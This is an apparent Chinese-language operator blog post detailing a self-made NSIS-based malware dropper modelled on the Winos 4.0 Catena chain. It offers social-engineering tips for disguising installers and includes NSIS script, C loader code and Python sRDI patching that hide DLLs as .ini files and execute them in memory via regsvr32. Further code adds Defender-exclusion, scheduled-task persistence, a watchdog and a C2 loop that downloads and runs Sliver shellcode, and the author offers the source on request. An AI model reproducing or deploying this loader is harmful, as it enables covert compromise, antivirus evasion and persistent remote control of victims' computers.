这是一个NSIS可信入口+sRDI内存加载+运行时分流+持久化后勤,后端对接任意产出 raw shellcode的投递器,学习用源码在清理一遍之后会放出来,有需要的可以在任意pm找我要一份
像主流C2框架的Stager,比如CS和Sliver的特点都是自己完成下载执行,用HTTP的 checksum8之类的特征URI去拉stage,只解决的implant太大不好这一个问题。实际我们用的时候也没有可信入口,导致社工成本全在operator上。
C2框架的stager生成出来是一个裸exe,没有任何看起来合法的外观,所以我们需要自己想办法伪装成文档安装包这些,且直接生成之后没有环境感知为零和持久化。所以本文的自用stager参考了Winos 4.0 的Catena多级加载链,截止目前测试过的100%windows都能过(

↑入口是一个 NSIS 安装包,用户双击它释放文件后,分两路。
一路是支线悄悄启动insttect.exe,窗口程序insttect把Single.ini读进内存,里面存的是一个sRDI blob吗,嵌着DLL的位置无关shellcode,直接在内存里执行由它自己在内存中把DLL映射活起来。
另一路是主线攻击链,NSIS 用系统自带的regsvr32 /s拉起intel.dll,intel.dll是第二级加载器,充当分流路口,根据互斥体和Temp.aps文件两个条件决定走哪条线路,默认线路是Config.ini,备用线路是Config2.ini。两个ini里装的同样是sRDI blob,读进内存唤醒出的是VFPower。
VFPower先抢主线路互斥体保证单实例,再起五个线程,其中的C2Loop线程负责连服务器下载 .bin,校验CTN2头和HMAC-SHA256签名通过后才把sc.bin的内存翻成可执行。
从社工角度看,什么样的NSIS安装包才是好的
之前分析过很多样本都是NSIS载体,很难想象在如今AI如此便捷的前提下还能做的这么漏洞百出(
exe/新建文件夹.exe这类起名并不占少数,而且是默认图标,属性里公司一栏是空白的,版本信息写默认值,触发弹窗显示发布者未知加黄色警告底,因为我们的UAC必弹的,能做的只有让弹窗里的信息尽量体面一点;安装导向页面那种窗口标题是英文但界面是中文,许可协议页是空的,界面分辨率和素材模糊就能明显看出来是缝合的,并且装完什么都没有。

跟粗制滥造反着来就是一个相对正常的NSIS安装包,图标直接让chatgpt绘制一个图形风格的logo就可以应用在安装包各个角落来增加可信度。当然最好的方式是抄正规软件的安装包,除了基础信息之外我发现可以加入多语言选择,来更进一步打消顾虑心。
就算是做一个demo,也要让程序安装之后有弹窗和桌面快捷方式。

安装完成后之后硬盘上多出来的文件是一个intel.dll的文件,外加Single.ini、Config.ini、Config2.ini 这几个配置文件。
ini是文本配置文件打开应该是一行行配置项,但这几个ini文件里装的其实是二进制数据,它们是用sRDI的技术打包过的DLL程序。这种格式可以被人从内存里直接原地组装回一个能跑的程序,全程不需要落盘也不需要经过Windows正常的程序加载流程。
所以现场的局面是只有几个配置文件,杀软件找不到一个像样的程序文件,而真正的程序要等到运行时才被加载器读进内存,现场拼出来执行。硬盘上也不是完全没有程序,有一个insttect.exe和intel.dll是真的PE文件,毕竟完全不落文件会让启动链和持久化变得很难做,保留少量看起来人畜无害的文件无关痛痒。
insttect.c
static BOOL ResolveSingle(WCHAR *path, DWORD cch)
{
WCHAR local[CATENA_PATH_MAX];
if (CatenaEnvW(L"CATENA_SINGLE", path, cch)) return TRUE;
CatenaLocalDir(local, CATENA_PATH_MAX);
CatenaCopyW(path, cch, local);
CatenaAppendW(path, cch, L"\\Single.ini");
if (CatenaFileExists(path)) return TRUE;
CatenaCopyW(path, cch, L"Single.ini");
return CatenaFileExists(path);
}
static void LogEndpointPresence(void)
{
WCHAR path[CATENA_PATH_MAX];
CatenaTrustAsiaDir(path, CATENA_PATH_MAX);
CatenaAppendW(path, CATENA_PATH_MAX, L"\\endpoint.cfg");
WinLog(CatenaFileExists(path) ? "insttect.endpoint.present"
: "insttect.endpoint.missing");
}
int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR cmd, int show)
{
(void)inst; (void)prev; (void)cmd; (void)show;
WCHAR path[CATENA_PATH_MAX];
BYTE *blob = NULL;
BYTE *memory;
DWORD size = 0;
DWORD old_protect = 0;
LogEndpointPresence();
if (!ResolveSingle(path, CATENA_PATH_MAX)) {
WinLog("insttect.single.missing");
return 2;
}
if (!CatenaReadAll(path, &blob, &size)) {
WinLog("insttect.single.read.fail");
return 3;
}
memory = (BYTE *)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!memory) {
HeapFree(GetProcessHeap(), 0, blob);
WinLog("insttect.alloc.fail");
return 4;
}
memcpy(memory, blob, size);
HeapFree(GetProcessHeap(), 0, blob);
if (!VirtualProtect(memory, size, PAGE_EXECUTE_READ, &old_protect)) {
VirtualFree(memory, 0, MEM_RELEASE);
WinLog("insttect.protect.fail");
return 5;
}
FlushInstructionCache(GetCurrentProcess(), memory, size);
WinLog("insttect.jump.single");
((void (*)(void))memory)();
WinLog("insttect.single.return");
Sleep(2000);
return 0;
}
sRDI

是Stephen Fewer更早的反射式DLL注入技术的进化版,我们Windows上正常加载一个DLL要走系统自带的LoadLibrary,这个过程会在系统的已加载模块名单里登记,sRDI的思路是不麻烦系统,DLL自己搬进去。它在转换阶段离线完成一个普通DLL改造成一段位置无关的 shellcode,这段shellcode里内嵌了一个迷你加载器,运行时会自己完成系统加载器的全部工作。
这个项目最直观的效果是DLL变成了一坨没有MZ头节表和任何可识别结构的数据,可以改名叫.ini躺在硬盘上,用时才在内存里还原成程序。
build_artifacts.py
BOOTSTRAP_SIZE = 69
def dll_offset_of(blob: bytes) -> int:
"""The bootstrap computes the DLL address as rcx + imm32 (rcx = blob + 5)."""
return 5 + int.from_bytes(blob[47:51], "little")
def rdi_length(blob: bytes) -> int:
"""Recover the RDI loader length from the bootstrap's DLL offset."""
return dll_offset_of(blob) - BOOTSTRAP_SIZE
def patch_rdi_blob(blob: bytes, new_dll: bytes, user_data: bytes = b"None") -> bytes:
"""Swap the DLL body of an existing sRDI blob, keeping its loader intact."""
dll_offset = dll_offset_of(blob)
if dll_offset <= BOOTSTRAP_SIZE:
raise ValueError("input is not an x64 sRDI blob")
user_data_offset = dll_offset + len(new_dll) - 5
header = bytearray(blob[:dll_offset])
header[17:21] = user_data_offset.to_bytes(4, "little")
header[23:27] = len(user_data).to_bytes(4, "little")
return bytes(header) + new_dll + user_data
def make_blob(dll_path: Path, export: str, user_data: bytes = b"None") -> bytes:
dll = dll_path.read_bytes()
return ConvertToShellcode(dll, HashFunctionName(export), user_data, 0)
然后安装包最后会启动让系统自带的 regsvr32 程序去注册intel.dll这条命令,regsvr32是合法工具,让它来加载这个dll,进程列表里出现的就是一个微软签名的系统程序在做一件正常的事情。
installer/NSIS.nsi
Section "!$(StrSectionFiles)" SecFiles
DetailPrint "$(StrStepCopy)"
SetOutPath "$LOCALAPPDATA"
SetOverwrite on
File "insttect.exe"
File "Single.ini"
SectionEnd
Section "!$(StrSectionRuntime)" SecRuntime
SetOutPath "$APPDATA\TrustAsia"
SetOverwrite on
File "intel.dll"
File "Config.ini"
File "Config2.ini"
DetailPrint "$(StrStepReg)"
IfFileExists "$APPDATA\TrustAsia\intel.dll" ns_intel_ok ns_intel_missing
ns_intel_missing:
DetailPrint "ERROR: intel.dll missing after copy"
Goto ns_after_verify
ns_intel_ok:
IfFileExists "$APPDATA\TrustAsia\Config.ini" ns_config_ok ns_config_missing
ns_config_missing:
DetailPrint "ERROR: Config.ini missing after copy"
Goto ns_after_verify
ns_config_ok:
Delete "$APPDATA\TrustAsia\stage.log.prev"
IfFileExists "$APPDATA\TrustAsia\stage.log" 0 +2
Rename "$APPDATA\TrustAsia\stage.log" "$APPDATA\TrustAsia\stage.log.prev"
nsExec::ExecToLog 'cmd.exe /C start "" regsvr32 /s "$APPDATA\TrustAsia\intel.dll"'
Pop $0
DetailPrint "regsvr32 launched rc=$0"
主线支线
支线是insttect.exe负责的,把Single.ini读进内存组装出Single.dll,这个dll每隔1.5秒检查一次系统里有没有安全软件在运行,发现了就写一个标记文件,也是复刻的原样本。
主线regsvr32加载intel.dll之后,intel.dll就分流路口,检查99907F23开头的互斥体和一个叫 Temp.aps的标记文件,两个条件同时满足,走备用线路Config2.ini,否则走默认线路 Config.ini。
intel_loader.c
static BOOL MutexWasPresent(HANDLE h)
{
return h != NULL && GetLastError() == ERROR_ALREADY_EXISTS;
}
static BOOL RunBlob(const BYTE *data, DWORD size, const char *tag)
{
BYTE *memory;
DWORD old_protect = 0;
if (!data || !size) return FALSE;
memory = (BYTE *)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!memory) {
WinLog("intel.alloc.fail");
return FALSE;
}
memcpy(memory, data, size);
if (!VirtualProtect(memory, size, PAGE_EXECUTE_READ, &old_protect)) {
WinLog("intel.protect.fail");
VirtualFree(memory, 0, MEM_RELEASE);
return FALSE;
}
FlushInstructionCache(GetCurrentProcess(), memory, size);
WinLog(tag);
((void (*)(void))memory)();
WinLog("intel.rdi.return");
return TRUE;
}
STDAPI DllRegisterServer(void)
{
WCHAR dir[CATENA_PATH_MAX];
WCHAR path[CATENA_PATH_MAX];
WCHAR marker[CATENA_PATH_MAX];
BYTE *config = NULL;
DWORD size = 0;
HANDLE mutex;
BOOL second_stage;
SetLastError(0);
mutex = CreateMutexA(NULL, FALSE, "99907F23-25AB-22C5-057C-5C1D92466C65");
second_stage = MutexWasPresent(mutex);
CatenaTrustAsiaDir(dir, CATENA_PATH_MAX);
CatenaEnsureDir(dir);
CatenaCopyW(marker, CATENA_PATH_MAX, dir);
CatenaAppendW(marker, CATENA_PATH_MAX, L"\\Temp.aps");
if (!CatenaFileExists(marker)) second_stage = FALSE;
WinLog(second_stage ? "intel.config2" : "intel.config");
CatenaCopyW(path, CATENA_PATH_MAX, dir);
CatenaAppendW(path, CATENA_PATH_MAX,
second_stage ? L"\\Config2.ini" : L"\\Config.ini");
if (!CatenaReadAll(path, &config, &size)) {
WinLog("intel.config.read.fail");
if (mutex) CloseHandle(mutex);
return S_OK;
}
WinLog("intel.rdi.begin");
RunBlob(config, size, "intel.rdi.jump");
HeapFree(GetProcessHeap(), 0, config);
if (mutex) CloseHandle(mutex);
return S_OK;
}
所以切换线路不需要重新编译程序,全靠运行时状态决定,被选中的那个ini文件在内存里组装出整个链条的核心,一个导出名叫做VFPower的程序。
VFPower
它启动五个后台线程,一个盯着停止信号文件,看到了就让整个程序体面退出,一个是看门狗每15秒检查一次主进程还活着没有,一个负责再补一次杀毒软件排除,一个负责注册计划任务让用户每次登录系统时链条自动重启,最后一个看有没有Telegram这些聊天软件,一旦发现就写下那个Temp.aps 标记。
VFPower
__declspec(dllexport) BOOL VFPower(LPVOID user_data, DWORD user_len)
{
WCHAR parent[64];
HANDLE mutex;
BOOL duplicate;
const char *endpoint = (const char *)user_data;
SetLastError(0);
mutex = CreateMutexA(NULL, FALSE, "zhuxianlu");
duplicate = mutex != NULL && GetLastError() == ERROR_ALREADY_EXISTS;
if (duplicate) {
WinLog("vfpower.duplicate");
CloseHandle(mutex);
return TRUE;
}
WinLog("vfpower.enter");
if (GetEnvironmentVariableA("CATENA_TEST_FILES", NULL, 0) > 0) {
MonitorThread(NULL);
PersistThread(NULL);
C2Loop(endpoint, (DWORD)user_len);
if (mutex) CloseHandle(mutex);
return TRUE;
}
ParentName(parent, 64);
if (!_wcsicmp(parent, L"UserAccountBroker.exe")) {
WinLog("vfpower.elevated"); C2Loop(endpoint, (DWORD)user_len); if (mutex) CloseHandle(mutex); return TRUE;
}
{
LANGID lang = GetUserDefaultUILanguage();
char probe[64];
sprintf_s(probe, sizeof(probe), "vfpower.locale.0x%04x", (unsigned)lang);
WinLog(probe);
sprintf_s(probe, sizeof(probe), "vfpower.chinese.%d",
(PRIMARYLANGID(lang) == LANG_CHINESE) ? 1 : 0);
WinLog(probe);
}
CreateThread(NULL, 0, ExitThreadFn, NULL, 0, NULL);
CreateThread(NULL, 0, MonitorThread, NULL, 0, NULL);
CreateThread(NULL, 0, DefenderThread, NULL, 0, NULL);
CreateThread(NULL, 0, PersistThread, NULL, 0, NULL);
CreateThread(NULL, 0, MarkerThread, NULL, 0, NULL);
WinLog("vfpower.threads");
Sleep(500);
C2Loop(endpoint, (DWORD)user_len);
if (mutex) CloseHandle(mutex);
return TRUE;
}
VFPower进入取货循环会按照一套优先级解析出服务器地址,先看环境变量再看打包时写进 ini 里的地址,最后才看兜底配置文件,然后反复尝试连接,下载我在sliver挂的测试载荷。
校验通过后把下载到的这块数据所在的内存改为可执行,然后直接跳进去,接下来数据变成了代码,Sliver的implant在内存里醒来自己回连控制端。
ExecutePayload
static void ExecutePayload(BYTE *payload, DWORD payload_len)
{
DWORD old_protect = 0;
if (!VirtualProtect(payload, payload_len, PAGE_EXECUTE_READWRITE,
&old_protect)) {
WinLog("c2.protect.fail");
VirtualFree(payload, 0, MEM_RELEASE);
return;
}
FlushInstructionCache(GetCurrentProcess(), payload, payload_len);
WinLog("c2.payload.exec");
((void (*)(void))payload)();
if (GetEnvironmentVariableA("CATENA_C2_FREE_PAYLOAD", NULL, 0) > 0) {
VirtualFree(payload, 0, MEM_RELEASE);
WinLog("c2.payload.free");
} else {
WinLog("c2.payload.keep");
}
}
C2Loop 取货循环片段
if (received) {
WinLog("c2.payload.recv");
ExecutePayload(payload, payload_len);
WinLog("c2.payload.returned");
cycle = 0;
delay = 5000u;
} else {
delay = RetryDelay(cycle);
sprintf_s(probe, sizeof(probe), "c2.retry.%lu delay.%lu",
(unsigned long)cycle, (unsigned long)delay);
WinLog(probe);
}
Sleep(delay);
}
一些踩坑
进制布局与底层约定会伪装成别的问题。。。。
B-02,sRDI bootstrap参数槽位写错,第5/6参数写错了栈槽位,导致dwFlags实际拿到的是指针,第一阶段Single.dll正常的原因是它只导入一个库,所以恰好躲过触发条件,到了第二阶段ConfigPayload卡死,表现为网络问题,实际是内存里的参数错位。
当前修复后
# mov qword ptr [rsp + 0x20], rcx (shellcode base) - Push in arg 5
# (arg 5 goes in the first home slot; the callee sees it at [rsp+0x28]
# once the return address is pushed by the call below.)
bootstrap += b'\x48\x89\x4C\x24'
bootstrap += b'\x20'
# add rcx, <Offset of the DLL>
bootstrap += b'\x48\x81\xc1'
bootstrap += pack('I', dllOffset)
# mov dword ptr [rsp + 0x28], <Flags> - Push in arg 6
bootstrap += b'\xC7\x44\x24'
bootstrap += b'\x28'
bootstrap += pack('I', flags)
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# mov rsp, rsi - Reset our original stack pointer
bootstrap += b'\x48\x89\xf4'
# pop rsi - Put things back where we left them
bootstrap += b'\x5e'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrapSize:
raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData
自解码 shellcode 用 RX 页执行同理,日志已经走到c2.payload.exec,看起来是上线了但 Sliver没会话,实际是shellcode回写自身页面时触发了访问冲突。
最终载荷页
if (!VirtualProtect(payload, payload_len, PAGE_EXECUTE_READWRITE,
&old_protect)) {
WinLog("c2.protect.fail");
VirtualFree(payload, 0, MEM_RELEASE);
return;
}
还有loader 长度写死和改了C没重新生成 Python 字节串以及patch 偏移算错,都是对二进制布局做了硬编码假设,而布局是会变的。
容易复发的问题是并发与进程边界,这一类看门狗和持久化机制的坑测试了很多次,比如PowerShell 互斥体跨进程无效,我想用一个Mutex防止看门狗重复拉起,但每个cmd /c都会启动一个新的PowerShell进程,互斥体只在各自进程内有效,实际是每个进程各拿各的锁完全不互斥。
继上还有创建了互斥体但没做存在性判断,CreateMutex只是创了锁,我没有检查 GetLastError() == ERROR_ALREADY_EXISTS,以及target.pid写成了进程名和安装器无脑重拉 regsvr32,所以不要变量复用串了和没探测现有宿主就重试(
互斥体存在性判断
SetLastError(0);
mutex = CreateMutexA(NULL, FALSE, "zhuxianlu");
duplicate = mutex != NULL && GetLastError() == ERROR_ALREADY_EXISTS;
if (duplicate) {
WinLog("vfpower.duplicate");
CloseHandle(mutex);
return TRUE;
}
target.pid
parent = GetCurrentProcessId();
CatenaTrustAsiaDir(dir, CATENA_PATH_MAX);
CatenaCopyW(pid_path, CATENA_PATH_MAX, dir);
CatenaAppendW(pid_path, CATENA_PATH_MAX, L"\\target.pid");
CatenaCopyW(bat_path, CATENA_PATH_MAX, dir);
CatenaAppendW(bat_path, CATENA_PATH_MAX, L"\\monitor.bat");
CatenaCopyW(launcher, CATENA_PATH_MAX, dir);
CatenaAppendW(launcher, CATENA_PATH_MAX, L"\\launch.cmd");
CatenaCopyW(lock_path, CATENA_PATH_MAX, dir);
CatenaAppendW(lock_path, CATENA_PATH_MAX, L"\\monitor.lock");
CatenaLogPath(log_path, CATENA_PATH_MAX);
sprintf_s(pid, sizeof(pid), "%lu", parent);
if (!WriteAllRetry(pid_path, (const BYTE *)pid, (DWORD)strlen(pid))) {
WinLog("thread.monitor.pid.write.fail");
return 0;
}